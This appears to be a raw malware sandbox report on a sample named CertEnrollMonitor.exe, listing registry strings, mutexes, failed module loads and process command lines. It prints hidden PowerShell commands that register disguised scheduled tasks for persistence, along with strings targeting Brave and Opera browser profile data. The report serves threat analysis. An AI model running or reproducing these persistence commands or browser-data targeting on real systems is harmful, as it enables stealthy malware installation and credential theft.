"'[Schtask]';schtasks /query /fo list|Select-String TaskName|Select -First 10;'[Registry]';Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -EA SilentlyContinue|fl" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00003612.00000000.214824.06990000.00000004.mdmp 00000000-00003612.00000001.216746.06990000.00000004.mdmp 00000000-00003612.00000002.218663.06990000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00004528.00000000.218376.B9610000.00000004.mdmp 00000000-00004528.00000001.218395.B9610000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00004528.00000000.218376.B9610000.00000004.mdmp 00000000-00004528.00000001.218395.B9610000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005376.00000000.215589.0E580000.00000004.mdmp 00000000-00005376.00000001.215842.0E580000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00005376.00000000.215589.0E580000.00000004.mdmp 00000000-00005376.00000001.215842.0E580000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005376.00000000.215589.0E580000.00000004.mdmp 00000000-00005376.00000001.215842.0E580000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005376.00000000.215589.0E580000.00000004.mdmp 00000000-00005376.00000001.215842.0E580000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005376.00000000.215589.0E580000.00000004.mdmp 00000000-00005376.00000001.215842.0E580000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005376.00000000.215589.28AB0000.00000004.mdmp 00000000-00005376.00000001.215842.28AB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00005376.00000001.215842.29140000.00000004.mdmp "stry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00005376.00000001.215842.29140000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{44" in Source: 00000000-00005376.00000001.215842.29140000.00000004.mdmp "STRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005376.00000001.215842.292C4000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005376.00000001.215842.292C4000.00000004.mdmp4a:T982,Process CertEnrollMonitor.exe created mutex with name "\BaseNamedObjects\MSN_1949aed0fcb3463a69fdefe90f6f23fc_DEV-7cca83520e4c0071" Process CertEnrollMonitor.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7644:304:WilStaging_02" Process CertEnrollMonitor.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7644:120:WilError_01" Process CertEnrollMonitor.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7644:120:WilError_01" Process CertEnrollMonitor.exe created mutex with name "SM0:7644:120:WilError_01" Process CertEnrollMonitor.exe created mutex with name "Local\SM0:7644:304:WilStaging_02" Process CertEnrollMonitor.exe created mutex with name "Local\SM0:7644:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7296:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:7296:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:7296:120:WilError_01" Process powershell.exe created mutex with name "SM0:7296:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7296:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7296:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5376:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5376:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:5376:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:5376:120:WilError_01" Process powershell.exe created mutex with name "SM0:5376:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5376:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7916:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:7916:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:7916:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:7916:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7916:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7916:120:WilError_01"4b:T5de,Process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\LicenseAgentWorker' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00007296) Process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\WinSvcHost' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00005376) Process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -AtLogOn;$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Servicing\\StartComponentCleanup' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00007916)4c:T1183,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135]4d:T6e3e,"SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00000808.00000000.225310.26840000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00002300.00000000.224306.82F40000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00002300.00000000.224306.82F40000.00000004.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "%s\Opera Software\Opera Stable" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "%s\Opera Software\Opera Stable\Local State" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "$dsPath='HKLM:\SOFTWARE\Classes\CLSID\{860BB310-5D01-11d0-BD3B-00A0C911CE86}\Instance'" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "'[Schtask]';schtasks /query /fo list|Select-String TaskName|Select -First 10;'[Registry]';Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -EA SilentlyContinue|fl" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "%s\Opera Software\Opera Stable" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "%s\Opera Software\Opera Stable\Local State" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "$dsPath='HKLM:\SOFTWARE\Classes\CLSID\{860BB310-5D01-11d0-BD3B-00A0C911CE86}\Instance'" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "'[Schtask]';schtasks /query /fo list|Select-String TaskName|Select -First 10;'[Registry]';Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -EA SilentlyContinue|fl" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00003612.00000000.214824.06990000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00003612.00000001.216746.06990000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00003612.00000002.218663.06990000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00003624.00000000.223202.7A340000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00003676.00000000.223726.533B0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00003832.00000000.219997.B8A00000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00004136.00000000.221633.B1380000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00004528.00000000.218376.B9610000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00004528.00000000.218376.B9610000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00004528.00000001.218395.B9610000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00004528.00000001.218395.B9610000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00004712.00000000.221050.2B540000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00004712.00000000.221050.2B540000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005376.00000000.215589.0E580000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00005376.00000000.215589.0E580000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005376.00000000.215589.0E580000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005376.00000000.215589.0E580000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005376.00000000.215589.0E580000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005376.00000000.215589.28AB0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005376.00000001.215842.0E580000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00005376.00000001.215842.0E580000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005376.00000001.215842.0E580000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005376.00000001.215842.0E580000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005376.00000001.215842.0E580000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005376.00000001.215842.28AB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00005376.00000001.215842.29140000.00000004.mdmp "stry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00005376.00000001.215842.29140000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{44" in Source: 00000000-00005376.00000001.215842.29140000.00000004.mdmp "STRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005376.00000001.215842.292C4000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005376.00000001.215842.292C4000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005376.00000001.215842.9D27A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005376.00000001.215842.9D27A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005376.00000001.215842.9D27A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005376.00000001.215842.9D27A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005376.00000001.215842.9D27A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005376.00000001.215842.9D27A000.00000002.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "%s\Opera Software\Opera Stable" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "%s\Opera Software\Opera Stable\Local State" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "$dsPath='HKLM:\SOFTWARE\Classes\CLSID\{860BB310-5D01-11d0-BD3B-00A0C911CE86}\Instance'" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "'[Schtask]';schtasks /query /fo list|Select-String TaskName|Select -First 10;'[Registry]';Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -EA SilentlyContinue|fl" in Source: 00000000-00005556.00000000.221580.F5550000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00005596.00000000.220574.C0940000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00005596.00000000.220574.C0940000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00005976.00000001.216614.16F10000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00006268.00000000.222670.E32E0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00006888.00000000.224779.B92A0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00006900.00000000.224254.983C0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "%s\Opera Software\Opera Stable" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "%s\Opera Software\Opera Stable\Local State" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "$dsPath='HKLM:\SOFTWARE\Classes\CLSID\{860BB310-5D01-11d0-BD3B-00A0C911CE86}\Instance'" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "'[Schtask]';schtasks /query /fo list|Select-String TaskName|Select -First 10;'[Registry]';Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -EA SilentlyContinue|fl" in Source: 00000000-00007004.00000000.217223.F6580000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00007164.00000000.217743.83F00000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007296.00000000.214900.BCC90000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007296.00000000.214900.BCC90000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007296.00000000.214900.D7090000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007296.00000001.215154.BCC90000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007296.00000001.215154.BCC90000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007296.00000001.215154.D7090000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00007296.00000001.215154.D76CE000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00007296.00000001.215154.D76CE000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00007296.00000001.215154.D76CE000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}0" in Source: 00000000-00007296.00000001.215154.D77D2000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00007424.00000000.219505.5DE90000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00007468.00000000.222162.8D290000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp 